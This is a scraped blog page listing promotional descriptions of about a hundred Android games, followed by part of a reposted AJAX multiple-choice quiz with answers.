You are a well trained special forces commando and you are equipped with modern weapons. In this game, your mission is to destroy enemy camps to save your country from terrorism. Are you ready? Be the best shooter in every environment! The combat is real and you can be the hero.
You are an elite shooter of special forces. Use your gun to shoot down all enemies in various fighting areas and try to survive. enjoy this battle game.
Bike Stunt Tricks Master game 3D – T.kn Free Games

Bike stunt trick master is a free mobile game available for Android smartphones. Join millions of game players who love to simulate bike games and want to become pro bike riders. The real bike stunt champion on your smartphone is just about to start; you are just a single tap away. The bike stunt game is now available with upgraded tricky bikes and crazy riders.
Don’t hit the hurdle placed in your track; be smart enough, drive professionally by applying crazy moto stunts and become a perfect stuntman. Here you are! Apply your motorcycle driving tricks and complete the dangerous tasks on time.
Real Gangster Crime

This game brings you to the streets of New Vegas full of gangsters, cops and special forces soldiers. Show no mercy to everyone who stands on your way! Unlock all the weapons and find secrets hidden on the map. Dominate the city with the devastating firepower of advanced military vehicles or upgrade your hero to knock down enemies in a few kicks!
New quests with light notes of humor will help you to orientate on the streets and get some starting cash! Can you complete all the tasks? Killing, rubbing, stealing, destroying things. Drive theft cars reckless, shoot your enemies down and tear them apart with heavy artillery. All the best things and much more in this grand game.
Subway Princess Runner

Subway princess runner, bus run, forest rush with an addictive endless running game! Rush as fast as you can, dodge the oncoming trains and buses. Careful of the rolling wood in the forest! Intuitive controls to run left or right, jump in the sky to obtain more coins, excited slide to safety!
Help your beloved beautiful princess to escape the police! Using a skateboard after double tapping, experience a unique board in the subway. Challenge the highest score of the rank with the world players or share scores in the friend list.
Unlock level to score multiple. Gain experience unlocking your level by completing missions or boxes. the more score multiplier you are, the higher score you get.
Gardenscapes

Rake your way through a storyline full of unexpected twists and turns to restore a wonderful garden to its former glory.
Embark on an adventurous journey: beat match-3 levels, restore and decorate different areas in the garden, get to the bottom of the secrets it holds, and enjoy the company of amusing in-game characters, including Austin, your butler, and a funny dog! What are you waiting for? Indulge yourself in some gardening and become the hero of a brand new story. Build your dream garden for free!
New Sniper Shooting 2019 –Free Shooting Games
Hold back and achieve a perfect shot on target. Download and play this amazing shooting game and enjoy its smooth and simple controls. Welcome to the world of action games, where you are going to play unlimited missions.
If you love to play FPS shooting games in the action games category, we have got what you need. you’ll find your favorite action games here. We bet this action game will provide you with the best gaming experience with its unique gameplay stages
Modern Car Drive Parking 3d Game – TKN Car Games

Modern Car Drive Parking is a free game for parking game players. Here you will find physics-based vehicles of all types: classic cars with vintage style, modern cars luxurious features, racing cars with speed and thrill and streetcars you find in your real life.
Fulfill the challenges at each level. Join millions of game players who love driving games and want to become a car parking master.
In Modern Car Drive Parking 3d, you will experience the real adventure of Free games. Car Parking Game With New Features and Best Game Taste. Modern Car Drive: Parking games with thrilling parking levels. Welcome to the definitive game experience. From the producers of The Knights Comes a brand-new car parking experience. Car Parking Game With New Features and Best Game Taste.
Racing in Car 2

If you are sick of endless racing games with a third-person perspective? “Racing in Car 2” might be the game you are looking for. You drive your car in a cockpit view through the endless traffic and realistic environment. Go as fast as possible, overtake traffic cars, earn coins and buy new cars. Eventually, he became the king of the global leaderboards.
Try Racing in Car now to see how far the mobile racing experience has come nowadays.
Drive for Speed: Simulator

Get your car ready and start playing Drive for Speed Simulator. Drive your car through a city full of obstacles. Complete different missions around town before time runs out and try to earn as much money as you can. Use your money to buy brand new, faster cars and complete missions in less time.
In Drive for Speed Simulator, you can choose among 20 different cars to buy and play. Customize your cars with different items: spoilers, tires, rims, paint and motor upgrades!
Stack Crush Ball

Helix Stack Ball is super fun and addictive one-touch casual game. Press and hold on the screen and let the ball go down without touching the obstacles! Hold as long as possible to make a combo and break the black blocks. Let the ball fall down from the helix stacks.
Stack Ball is a 3d arcade game where players smash, bump and bounce through revolving helix platforms to reach the end.
Stack Blast Ball is a Brand New Stack Ball Game, a 3D Ball Arcade game with more than 300 plus Levels, Stack Ball 3D Game where players smash, bump and bounce through revolving helix platforms to reach the end.
Line Color 3D
Line Color 3D is one of the simplest and most fun-to-play games out there. You have to tap and hold on the screen and paint the pathway to victory!
The concept is very simple and doesn’t require much skill, but at the same time, it offers a beautiful and soothing experience.
Each level is crafted to perfection with wonderful colors.
Shooting World – Gun Fire

The logic of the game is very simple, just use your gun to aim and shoot a variety of targets to get higher scores. The game is completely free to play, come and challenge your friends, to witness the birth of the legendary shooter.
Game features: 1) Simple and unique gun handling experience, one hand can easily complete the target and shoot. 2) Kar98k, M24, AWM, Barrett and a lot more. These amazing weapons are all free, and you can get them by pass through levels.
Tank Stars

Tanks at your fingertips. Choose a weapon – a simple missile to an atomic bomb – and find the right shooting angle and destroy your opponents. Make the right shot quickly or you’ll die!
A few features:
Loads of deadly weapons: everything for perfect annihilation
Online multiplayer game. Playing with friends
Cool weapon upgrades to make you really powerful and break-back
Epic graphics effects
Ninja warrior: legend of shadow fighting games

Ninja warriors: shadow fighter – a legendary figure in the ancient world (legend of fighting games) Superhuman skills are concluded through many lifetimes, and these skills are trained by legendary ninja warriors for many years to help them become scary warriors legends.
In ninja fighting games you will transform into these ninja warriors legend. Your mission is to rescue the hostages, break into enemy areas to assassinate and destroy them.
With superhuman skills such as excellent acrobatics, deadly slashes, hidden paddles, lightning-fast darts, these great skills will help the ninja to face, overcome all dangers and challenges to complete the mission.
Bus Racing

Bus Racing games offer a real-time multiplayer, race against your friend or against a random opponent. It’s time to get in the driving chair and prove your driving skills. Driving a Bus is difficult but Racing a Bus is much more challenging.
Race through hills, dangerous obstacles and reach your destination. Very smooth gameplay brings you the real experience of driving and racing a bus.
The wonderful 3D environment brings more life to the game, 3 different themes to play, and lots of buses to upgrade.
Start the extreme racing experience and perform insane driving controls on some of the most difficult hill tracks.
Pooking – Billiards City

With Billiards City, the gameplay is king! Billiards City uses the latest technology to create the most exciting and realistic billiards simulator. Experience pool like never before, thanks to stunning HD graphics, fantastic playability, and ultra-realistic ball physics.
Challenge a variety of stylish new levels of different abilities from beginner right up to pro level. Hone your skills, improve your game and defeat the opposition to gain access to new city bars, win trophies and become the acclaimed Billiards City Champion!
Bike Racing 2018 – Extreme Bike Race

Bike Racing 2018 the latest in the world of bike race simulations. Get ready for the fantastic and extremely adventurous bike games. Race, jump and crash your way and other mad rivals through the amazing frontier tracks. You never dare drive so fast in the real world! Control your motorbike with incredible fast speed!
Ride in the most spectacular environment built just to perform the craziest tricks. The Physics are realistic and you get to choose your bikes/motorbike too, just avoid the obstacles and finish the ride’s in time. Bike Racing 2018 has fast-paced control over its speed and advanced power brakes.
Dr. Driving

This is one of the most addictive driving simulation games on the play store. There are many modes to choose from and the game feels very comfortable.
Burn up the street with the fastest and most visually stunning driving game. Sign in with your Google account to play online multiplayer. You can get free gold when you finish the mission before opponent in multiplayer (Max 1,000 Gold).
You have the option to upgrade your vehicle with the in-game currency which adds to the experience.
Sky Roller
Drag your finger left to right to avoid the obstacles and race down the path!
Are you skilled enough to have zero hits, well you can try!
Unique controls – control your legs and stretch them to choose the right way. Be reactive and get to the bonus level!
The levels are designed in a great way and offer the best experience possible.
Traffic Rider

Traffic Rider takes the endless racing genre to a whole new level by adding a full career mode, first-person view perspective, better graphics, and real-life recorded bike sounds.
The essence of smooth arcade racing is still there but in the shell of the next generation. Ride your bike on endless highway roads overtaking the traffic, upgrade and buy new bikes to beat the missions in career mode.
SOME FEATURES – First-person camera view – 29 motorbikes to choose from – Real motor sounds recorded from real bikes – Detailed environments with day and night variations – Career mode with 70+ missions – Online leaderboards and 30+ achievements – Support for 19 languages
Mountain Climb 4×4: Offroad Car Drive
Mountain Climb 4×4: Offroad Car Drive is a realistic simulation and racing game that you need to climb hills by overcoming the obstacles by an off-road vehicle.
You should reach the hill as soon as possible by collecting all the coins on your way in the stage and complete the stage successfully. You have to do your best to avoid falling from a cliff and facing an obstacle while trying to reach the hill.
You will be addicted to this game with its stages having difficulties and features different from each other, which receive continual updates.
Talking Tom Cat

One of the most popular free games for the whole family. Talking Tom Cat lets you play with Tom, talk with Tom, and laugh with Tom. The amazing fun never stops!
You can even feed him – he’ll eat everything from chili peppers to watermelons. Just watch out for what happens when he eats too much and starts farting. It’s hilarious!
Don’t miss out on all the fun you can have with Talking Tom. Download the app and play with the original Talking Tom Cat.
Cannon Shot!
Fill all the buckets with balls to complete a level.
Use your finger to move various objects to change the direction of the balls you shoot. Aim smart!
Complete levels to unlock new cannons. Do you have what it takes to find the rare one?
Well if you love puzzle games Cannon Shot! is worth a try.
The game is quite simple and easy to understand, while also keeping you playing the entire time.
Color Bump 3D
If you are a perfectionist, this game may drive you crazy.
The concept is pretty simple. All you have to do is not touch any color other than your color.
It may just sound too easy but mastering this game is as tough as it gets. As you advance through the game, it will get tougher.
Homescapes

You have to help Austin the butler bring warmth and comfort back to his wonderful family’s mansion. Come on in, adventures await you from the moment you walk in the door!
Beat colorful match-3 levels to renovate and decorate rooms in the mansion, unlocking ever more chapters in the exciting family story along the way! What are you waiting for? Make yourself at home!
Few Features:
● Unique gameplay: help Austin renovate the house by swapping and matching pieces! ● Interior design: you decide what the house will look like. ● Exciting match-3 levels: tons of fun, featuring unique boosters and explosive combinations! ● A huge, beautiful mansion: discover all the secrets it holds!
Mountain Climb: Stunt

A brand new game from the producer of Mountain Climb 4×4 game! Hill climb, jump from the hills. You have the complete control of the vehicle while climbing up the mountains and hills.
Stunts, becoming increasingly difficult and more fun, have duration times specially determined. Before the time is up, you must race with yourself first and then try to finish the stunt as soon as possible. If you want to play again the parts that you could not complete with 3 stars, you can race with the ghost driver, meaning your own score, and get ahead of it.
Remember! In the races that you complete with 3 stars, you win 2 times more prizes that the ones you win normally. With the prize money you win, you can buy new cars, customize your cars.
Street Chaser

Your companion was robbed by a gang. You can help by running behind the robber to catch them.
Run as fast as you can, dodge the obstacles coming your way. Chase thief without loosing, Catch them by throwing bottles and kicking balls hitting them!
Avoid obstacles by jumping and sliding while running through the streets, Hit and kick them with objects you pick on your way, Catch all of them to retrieve the handbag.
Brain Out – Can you pass it?

“Brain Out” is an addictive free tricky puzzle game with a series of tricky brain teasers and different riddles testing to challenge your mind. It evaluates your logical thinking ability, reflexes, accuracy, memory and creativity. Do not answer the quests in the ordinary way if you don’t want to be tricked. The solution subverts normal thinking is the most interesting thing in this trivia game. A different game experience with creative thinking and absurd solution.
GAME FEATURES 1) Absolutely unimagined gameplay 2) Easy and simple but humorous game process 3) Funny sound and witty game effects 4) Unexpected game answers
Extreme Car Driving Simulator

Extreme Car Driving Simulator is the best car simulator of 2014, thanks to its advanced real physics engine Ever wanted to try a sports car simulator? Now you can drive, drift and feel a racing sports car for free! Be a furious racer in a whole city for you. No need to brake because of traffic or racing other rival vehicles, so you can perform illegal stunt actions and run full speed without the police chasing you!
Drifting fast and doing burnouts had never been so fun! Burn the asphalt of this open-world city!
Crowd City

It is a fun and absurd game. The game is really different and has a unique concept.
You basically have to gather people from all around the town and form the biggest crowd.
After gathering all the people you have to crush your enemy in order to achieve victory.
It is a fun arcade game and can be enjoyed by all people.
Mini Militia – Doodle Army 2

Mini Militia – Doodle Army 2 is all about intense multiplayer combat! Battle with up to 6 players online in this 2D fun cartoon themed cross between Soldat and Halo, inspired by the original Stickman shooter Doodle Army.
Key features: 1) Online multiplayer with up to 6 players 2) Intuitive dual stick shooting controls with jetpack flight 3) Over 20 maps to explore 4) Wide range of modern and futuristic weapon types 5) Offline Survival mode
It is a well-known game and it is a lot of fun when played with friends.
Hunter Assassin

You have to control the assassin and hunt down your targets one by one. Use your surroundings and shadows to stay hidden from flashlights.
Targets with automatic machine guns can be lurking around each corner. Attack them swiftly and escape without being spotted.
Each eliminated target drops valuable gems. Use gems to unlock faster assassins.
Can you unlock the fastest assassin? I hope you can because it gets quite fun.
Candy Makeup Beauty Game – Sweet Salon Makeover

It’s CANDY MAKEUP time! Give your clients the sweetest makeovers ever! Style your models with cotton candy hairstyles, cherry-glazed lips, and candy cane hats! Give the most delicious mani-pedis ever and top them off with rainbow sprinkles!
Make your pretty clients all over the world even more beautiful with your amazing candy tools! Glam them up with yummy facials and sweet hairstyles! Paint their strawberries red and add delicious gummy bear stickers! Use professional makeup tools to create the sweetest looks!
Bottle Jump 3D

Bottle Jump 3D is the game where you need to flip your bottle just right so it lands upright.
Just tap your screen and the bottle starts flipping. Make it to the finish to unlock the next room.
The very famous “bottle flip challenge” gives this game that extra spice.
The game is also very satisfying if you land the bottle correctly.
Unblock Ball – Block Puzzle

Unblock Ball has simple gameplay, yet is an addictive puzzle game. You have to guide the ball to the green goal block by moving the block. But keep in mind that the metallic blocks can’t be moved. The ball will roll to the hole when there is a path! Try your best to collect all the stars on the path.
Some Features: 1) Over 300 awesome levels and updates will be continued! 2) Every level has three stars to collect! 3) No time limit, No Wi-fi needed, totally free to play!
Carrom King

Carrom King
is a classic board game played between friends and family. Pot coins in the pockets.
Carrom or Karrom, an Indian version of pool or billiards, play the cross-platform multiplayer and pot all the coins before your opponent to win! Carrom King
features two challenging gameplay modes freestyle & black & white.
Carrom King
gives priority to the originality of the game with user-friendly controls and amazing realistic 3D graphics giving you all the feels and thrills which you get when you play carrom with your family and friends!
The Catapult 2

Stickman will fight artillery, siege towers and huge combat mechanisms in 180 levels of this game)
Defend your castle from archers and catapults of different constructions. They throw stones and arrows!. They want to destroy your castle! Upgrade your weapon, catapult, crossbow, arrows and destroy enemy stickmen, archers in this game.
Upgrade and grow your castle, you can upgrade the towers by adding slots with archers or cannons that will hit more damage to the enemy.
Help the stickman defend the castle from the enemy stickman and crush enemy guns.
Simple intuitive controls. Click on the screen and pull to charge the catapult and select the pull force. Release to launch a shell at an enemy stickman and destroy it!
Sniper 3D Gun Shooter: Free Elite Shooting Games

AIM and SHOOT! Download now for free in one of the best FPS shooting games. Clash with the criminals on different scenarios full of action.
Great gameplay, awesome visuals and entertaining missions. And best of all? It’s a free fps game to pass the time! Defending the victims from kidnappings to bomb attacks on a Vegas hitman: hostage survival is critical!
Some Features: – Ultra-realistic 3D graphics and cool animations – Hundreds of thrilling missions – Play in multiple battlegrounds, from huge cities to beautiful beaches – Tons of lethal guns and mortal weapons – Addicting FPS gameplay – Easy and intuitive controls
City Car Driver 2017

City Car Driver 2017 game allows you to drive freely around the grand city. This is an open-world environment where you can decide what to do: walk, drive cars or ride motorcycles around the big city streets.
When the game begins you control a third person character and you need to go to a car or a motorbike in order to have a vehicle to drive.
On the town streets, you will see different traffic vehicles driving around, like school buses, vans, streetcars, police cars, taxis, and motorbikes. You can drive any car in the town, just go to the left door of the vehicle and get in.
Motorcycle riding can be a lot of fun but you must be very careful especially while using NOS because the bike will get on one wheel.
Callbreak Multiplayer

Callbreak Multiplayer brings classic and popular card games with online multiplayer features to the Google Play Store.
Game Rules:
Callbreak is a trick-taking card game played with a standard 52-card deck between four players. There are 5 rounds in a game. Players’ sitting direction and the first dealer are selected before the first round begins.
To randomize player’s sitting direction and the first dealer, each player draws a card from the deck and based on the order of the cards, their directions and first dealer are fixed. Dealers are changed successively in an anti-clockwise direction in the following rounds.
Truck games for kids – build a house, car wash

It is a very colorful game educational game for kids kindergarten games. These games are not only games for boys but also games for girls. If your kids are fond of cars and trucks or anything connected with building games thematic they will be crazy about these cool game tractor games for kids, trucks for toddlers!
Go through all-engrossing levels of the game and get your house, swimming pool, and arbor did at the finish of one of the best building games for toddlers! You will find here many types of construction game machinery like trucks, tractor simulator, excavator games, bulldozer, and many others.
Stupid Zombies

Those stupid zombies are back, and you are humanity’s last hope to keep them brainless. But beware, ammo is limited so you will have to get crafty and use the straight bullets, grenades, split- and buckshots in the most effective way possible to survive the 840 levels.
There is only one man, one shotgun and many stupid zombies. Let’s see if you have what it takes.
My Talking Tom

Players can adopt Tom and take care of him every day, making sure he gets enough food and sleep, taking him to the toilet, and keeping him happy, smiling and laughing.
The game features a collection of mini-games designed to test skill, reflexes, and puzzle-solving ability – puzzle games, action games, adventure games, and even a sports game. There’s something for everyone!
Players can compete head-to-head in Goal! Or a slingshot to survive in Go Up – the challenge never ends!
Tom likes to be petted and even spoken to – he repeats everything he hears in his funny voice!
Users can collect new clothes for him and new furniture items for his house are unlocked.
Happy Glass
The glass is sad because it’s empty. Your job is to draw a line to fill the glass up with liquid and help it smile again!
Try to find the best way to complete each level. You can come up with your own solution so be creative and don’t be afraid to think out of the box! Some levels might look easy but let’s see if you can get the 3 stars.
Some Features : 1) dynamic mechanism. Draw lines freely to complete levels! 2) Simple, smart and fun puzzles but can be challenging too 3) Lots of levels with more coming soon! 4) Fun and relaxing theme that will make you stay for quite some time
My Talking Angela

Players can bathe her, decorate her home and feed her delicious food.
Angela has a variety of mini-games designed to test skill, reflexes, and puzzle-solving ability.
Players can collect stylish stickers to collect and swap with other players.
Angela can select unique outfits from a huge selection of fashion items, including dresses, shoes, and makeup. A new makeover whenever she wants!
She can even learn cool dance moves to her favorite songs. Whether it’s ballet, K-pop or disco – Angela takes to the stage and makes some magic!
Farming Simulator 14

Take control of your farm and its fields to fulfill your harvesting dreams.
As well as a refined look and feel, Farming Simulator 14 gives you double the number of farm machines to control, all authentically modeled on equipment from real agricultural manufacturers, including Case IH, Deutz-Fahr, Lamborghini, Kuhn, Amazone, and Krone.
Some Features:
New highly detailed 3D graphics and a slick user interface take your gameplay experience to the next level
Playing with a friend in a free-roaming open world in a brand new local multiplayer mode for WiFi and Bluetooth
Plant wheat, canola or corn and sell it in a dynamic market
Mow grass, tedder and windrow it to create hay bales to feed to your cows, then sell their milk to the highest bidder
Make money by selling grass or chaff at the Biogas Plant
Candy Crush Soda Saga

From the makers of the legendary Candy Crush Saga comes Candy Crush Soda Saga! Unique candy, more divine matching combinations and challenging game modes brimming with purple soda and fun!
This mouth-watering puzzle adventure will instantly quench your thirst for fun. Join Kimmy on her juicy journey to find Tiffi, by switching and matching your way through new dimensions of magical gameplay. Take on this Sodalicious Saga alone or play with friends to see who can get the highest score!
Train Racing Games 3D 2 Player

Once you are in, the train express is all yours to control. Let go off the brakes and speed up in full blaze.
Since players will now rely entirely on signaling and track changing switches, the paths they take will be one among an exponential set of possibilities.
Change the camera view as per your comfort; and race against your friends in this exciting train simulator. The games boast a self-sufficient railroad environment and operate just like in the real world. Stop the train before you enter the danger zone and safely park in the railway station.
Features:
1. Realistic simulator experience with multiplayer 2. Use cameras and simple controls to improve your driving. 4. Stunning rail sound effects. 5. Perfect 3D graphics and well-detailed environment 5. Challenging railway tracks 6. Challenge & Share with your friends!
Color Hole 3D

A very simple game but one which is hard to master.
It has a very easy rule, all you have to do is clear the board and try not to pull other colors in.
This might sound extremely easy but I bet it is tougher than it sounds.
If you love colors this game is going to feel amazing to play and is definitely recommended.
Block Puzzle Jewel

The goal of Block Puzzle Jewel is to drop blocks in order to create and destroy full lines on the screen both vertically and horizontally.
Don’t forget to keep the blocks from filling the screen in this addictive puzzle game.
If puzzle games are your thing then this game is as good as it gets.
It brings nostalgia from the old puzzle games that existed back in the day. For those that loved games where we had to place blocks correctly, this will be a fun time.
Archery bird hunter

Archery bird hunter is now for mobile owner, however, its name contains the word of bird but this game also contains duck and deer hunting! Archery bird hunter is the best and most realistic archery 2D simulation game for you.
Archery bird hunter delivers realistic archery experience between all archetype games, amazing and different color birds ducks and deer of Archery bird hunter make it more interesting. Shoot arrows at birds, ducks and deer to kill them and get coins, and the coins are usable to buy hunting equipment from the Archery bird hunter game shop.
For more enjoyment of the Archery bird hunting game, a burning arrow is added when a player uses this option: the arrow will burn hunted birds and ducks.
Special Ops: FPS PvP War-Online gun shooting games
If you like Online Shooter, Multiplayer PVP, Single Player FPS and to be a sniper, so This Multiplayer Shooting game is for you
Annihilate the completion in real-time PVP, face off against your opponents in blast mode or check out our terrifying single player mode!
Special Ops: FPS PvP War-Online shooting games are coming at you with a brand new version and lots of new additions to keep the action going at a blazing pace! With new maps, awesome weapons and a new elite competition system; Special Ops: FPS PvP War-Online gun shooting games – Multiplayer will blow you away!
Bubble Shooter 2
Bubble Shooter 2 is an addictive bubble popping game with hundreds of puzzle levels and fun challenges. Play for free today and join the balloon crushing fun!
Shoot and pop colorful bubble drops in this relaxing board game and work your way through all the bubble-packed puzzles and brain teasers. Complete levels and win coins!
This fun bubble shooter game is easy just to pick up and play, perfect for the whole family to play and enjoy. Start the adventure now, hit and blast the balls and discover the most classic and amazing puzzle game!
Gunship Strike 3D
Gunship Strike puts you in the gunner seat of the most powerful combat helicopters. Strategically fire your powerful machine guns and devastating missiles to slay hordes of enemies across the world.
Guide your combat helicopter and demolish the enemy military bases in the world’s greatest combat experience! Gunship Strike combines tactics, flying skills and the right amount of ruthlessness in this military helicopter action game!
Virtual Gym Fighting: Real BodyBuilders Fight

Survive on the ring leaving your opponent no chance to stay alive! beat all your opponents and become the free man.
You are a gym trainer/fighter, a fighter, and desperately want to leave your gang, but your gang has other ideas. You need to fight for your life, which could end very soon if you make the wrong move.
Enter the world of GYM martial arts once! Face and beat new opponents and prove your mastery over gym Fighter Style
Stunt Car 3D

If you like stunting this game is probably going to be your next addiction.
It is a fairly simple and fun game, all you have to do is tap on the screen to perform certain stunts and jumps. You can land some pretty cool stunts in the game and the clean look adds to the fun experience.
You can get many different cars and challenge yourself.
Once you download this game you won’t regret it.
Aura Bubbles

Aim and match bubbles where you want to shoot the bubble. 1) Group 3 or more bubbles to make them burst. 2) Clear all the bubbles on the screen to get to a new level. 3) Fewer moves you pass a level, the higher score you’ll get. 4) At the end of the game, you will be awarded coins according to the score. the higher the score you get, the more coins will be awarded. 5) At the end of the game, you can click the falling bubbles to get a higher score
Features:
1) easy operation but lots of fun. 2) Gorgeous special effects and beautiful images. 3) Different roles dress 4) Many interesting props to help you pass the game quickly 5) A combination of multiple bubbles
Truck Simulator 2018: Europe

The game delivers an unparalleled driving experience which has put it in the spot of the most popular Euro Truck Simulator.
Completely realistic missions and Truck Simulator experience are waiting for you.
Run your own business which continues to grow even as you complete your freight deliveries. Become the King of the road by playing Truck Simulator 2018: Europe.
Start your Truck using the Start / Stop button
Fasten your seat belts.
On the right side of your screen, bring the shift to “D” position.
Control your Truck using a break and acceleration buttons.
Color Fill 3D

Once you start, you will never stop playing.
There is only one objective: Fill the board.
The game has very easy gameplay mechanics with hundreds of unique levels.
You can play by swiping your finger, avoid obstacles and, cover all of the board to win.
Icing On The Cake

Put your cake decorating skills to the test! Relax and channel your inner baker in icing on the cake. So many fun pastries for you to rotate, pipe, decorate and smooth out? Can you make the perfect cake? Fun and easy to pick up but don’t miss a spot. Will you be the first one to finish them all?
Color and decorate the perfect wedding cake or birthday cake. The tasty end results will leave you feeling hungry for more! Any time is cake time.
Features:
1. Zen Out
Ice ice baby! Take your time and relax and create the perfect cake
2. Smooth Smooth Icing
The most realistic food simulation game there is. The realistic cakes will leave you hungry.
3. Bake ALL the cakes
Endless amount of cakes for you to ice and smooth. Can you put the icing on all of the cakes?
4. Feel the smooth
Play, relax and feel satisfied with every cake you ice. Feel the realistic sensation of icing and spreading.
Whether you like icing, like smoothing or just want to spin and color, the icing on the cake will take you there. This is the best and most zen cake simulation game there is. Good luck putting Icing on the Cake down!
aquapark.io

Reach to the end of the water slide, try to be the first. Bump other players during the race and have fun playing this colorful and sunny water slide game.
This game will really give you the fun you need when you are sitting bored at home. It provides a fun experience and is also quite funny.
The game has been designed wonderfully and all the different colors really bring out the game’s point of view.
Turbo Driving Racing 3D

Conquer street and sky in Turbo Driving Racing is a mix of high-octane driving and endless racing. Turbo Driving Racing is one of the best arcade endless racing games with stunning 3D graphics.
The ultimate endless race in the city streets, countryside roads and seashores, featuring amazing vehicles, addictive gameplay, and intense traffic competition. Barrel through packed streets, avoid crashes, take down traffic cars, pick up coins and perform dynamic, high-speed aerial stunts! The game will challenge even the most skilled racing fans.
Ludo SuperStar
Ludo board games are fun and hilarious games to play with friends and family. It is the best of all board games, it lets you share some wonderful time with your loved ones. Don’t wait any further, get the dice rolling and play Ludo SuperStar!
Some Features : 1) Added rules/options which are played and popular in the world. 2) Option to show safe cells(square) which is represented by the star icon. 3) Option to get another turn on both dice numbers 1 and 6. 4) All the rules are optional so you can play both the international versions. 5) New modern design with a wooden board.
8 Ball Pool

Refine your skills in the practice arena, take on the world in 1-vs-1 matches, or enter tournaments to win trophies and exclusive cues!
PLAY FOR POOL COINS AND EXCLUSIVE ITEMS
Customize your cue and table! In every competitive 1-vs-1 match you play, there’ll be Pool Coins at stake – win the match and the Coins are yours. You can use these to enter higher ranked matches with bigger stakes or to buy new items in the Pool Shop.
CHALLENGE YOUR FRIENDS
Playing friends is easy: sign in with your Miniclip or Facebook account and you’ll be able to challenge your friends straight from the game. Challenge friends anytime, anywhere and show off your skills.
Shooting Archery
Shooting Archery is a free 3D mobile game that has amazing 3D shooting graphics and animations. It makes you feel like you are in the sports games. Come and try your best to be the archery master!
Some Features: 1) Easily touch control and enjoy the amazing archery gaming experience. 2) With bow and arrows to aim at various targets, including circular targets, square targets, fruits, dummy targets and lots of moving targets, you will experience a realistic hitting feeling. 3) A variety of weather systems fill you with interest. 4) Lots of very exciting and competitive levels
Run Race 3D
Compete with others and get the real parkour experience.
Jump from wall to wall, climb ropes, slide to get faster, flip to jump higher, grab to swing, use monkey bars to not fall.
Never stop running!
There are dozens of maps and all require a different set of skills.
Increase your ranking by beating your opponents. You can also customize your character; Skin, Clothing, Dance, and many more!
It is a fun game to play with friends!
Stack Ball – Blast through platforms

Your ball smashes like a brick through colorful platforms that block its descent, but if you hit a black one, it’s all over! Your ball shatters to pieces and you have to start your fall all over again.
But even black platforms are no match for a fireball falling at full speed! Choose your strategy: speed up like a madman or stop and wait for your next chance to roll and jump. Other ball games wish they were this fun!
My Bakery Empire – Bake, Decorate & Serve Cakes

Enjoy this mouth-watering cake bakery story and help Lizzie fulfill her dream of someday opening up a sweet bakery of her own. Now that day has finally arrived! She’s graduating from college, and she’s more than ready to bake some tasty cupcakes.
But she needs your help! Have fun opening up lots of yummy bakeries, baking with Lizzie and becoming a true baking professional who’s famous for beautiful, tasty delights!
Help Lizzie open up world-famous bakeries and take specific orders from her demanding customers! Learn how to bake delicious, mouth-watering desserts like cupcakes, smoothies, donuts, and cakes! With your assistance, Lizzie will become the most talented pastry chef ever! You’ll just LOVE this tasty bakery story game!
Real Bike Racing

Start the engine, hit the gas and experience the thrill of handling a 200 HP beast. Go bumper to bumper with elite riders to win the world championship. Now get ready for adrenaline-fueled racing action and ride your way to victory in the fastest lane of all!
Some Features: 1) Take the wheel of 10+ types of unique superbikes 2) Fully functioning rearview mirrors 3) Realistic 3D graphics with dynamic lighting effects
Rope Slash
Use your finger to cut the rope and release the ball. Smash all cans to complete a level!
Enjoy hundreds of handmade levels of this simple and fun arcade puzzle, wherever you are!
Basically this puzzle game is going to give you a fun experience and you won’t be disappointed with it.
Pick Me Up
Pick up and drop off customers to earn money and level up. Explore the world and discover new monuments.
The Controls
Tap and hold to drive
Release to break
Avoid crashing
Collect cash and unlock cool cars
The controls as stated above are very easy and make the game even more addictive.
Bubble Shooter 2

Bubble Shooter 2 is an addictive bubble popping game with hundreds of puzzle levels and fun challenges.
Shoot and pop colorful bubble drops in this relaxing board game and work your way through all the bubble-packed puzzles and brain teasers. Complete levels and win coins.
This fun bubble shooter game is easy just to pick up and play, perfect for the whole family to play and enjoy. Start the adventure now, hit and blast the balls and discover the most classic and amazing puzzle game!
The struggle to pop all the bubbles continues. Conquer challenging levels with powerful boosts in this thrilling bubble pop adventure and experience hours of bubble matching, popping and blasting fun! Bubble Shooter 2 puzzle game is definitely on the list of things you would take with you to a deserted island.
Gunship Strike 3D

Gunship Strike puts you in the gunner seat of the most powerful combat helicopters. Strategically fire your powerful machine guns and devastating missiles to slay hordes of enemies across the world.
Guide your combat helicopter and demolish the enemy military bases in the world’s greatest combat experience! Gunship Strike combines tactics, flying skills and the right amount of ruthlessness in this #1 military helicopter action game!
Game Features: 1) Multiple helicopters with a variety of weapons and equipment 2) 40+ levels in Battle mode & ultimate challenging Boss mode 3) Realistic 3D graphics and stunning visual effects
If you have a knack for helicopter shooting games, this is the one for you.
The post 100 + Best Android Games 2020 | Category Wise appeared first on GAMES INDIAN.
100 + Best Android Games 2020 | Category Wise published first on https://touchgen.tumblr.com/
0 notes
Text
300+ TOP AJAX Objective Questions and Answers
Ajax Multiple Choice Questions :-
1. What is AJAX ? A. is a programe B. is a country name C. is a football club name Ans: A 2. What sever support AJAX ? A. SMTP B. WWW C. HTTP Ans: C 3. AJAX Stands for: A. Asynchronous Javascript and XML B. Abstract JSON and XML C. Another Java Abstraction for X-Windows D. Another Java and XML Library Ans: A 4. What makes Ajax unique? A. It works as a stand-alone Web-development tool. B. It works the same with all Web browsers. C. It uses C++ as its programming language. D. It makes data requests asynchronously. Ans: D 5. What does the XMLHttpRequest object accomplish in Ajax? A. It's the programming language used to develop Ajax applications. B. It provides a means of exchanging structured data between the Web server and client. C. It provides the ability to asynchronously exchange data between Web browsers and a Web server. D. It provides the ability to mark up and style the display of Web-page text. Ans: C 6. ________ Of the following technologies, which one provides the ability to dynamically interact with Web page layout? A. JavaScript. B. XML. C. Document Object Model. D. HTML. Ans: C 7. What is the first step in creating a Joke of the Day application? A. Create the application's text file. B. Write the application's HTML. C. Turn the HTML application into an Ajax application. D. Upload the application to a Web server. Ans: B 8. Ajax stands for Synchronous JavaScript and XML. A. True B. False Ans: B 9. Ajax is a programming language. A. True B. False Ans: B 10. Regarding the XMLHttpRequest Object, does the order in which one calls the "open" method and assign a function to the "onreadystatechange" event handler matter? A. Yes B. No Ans: B
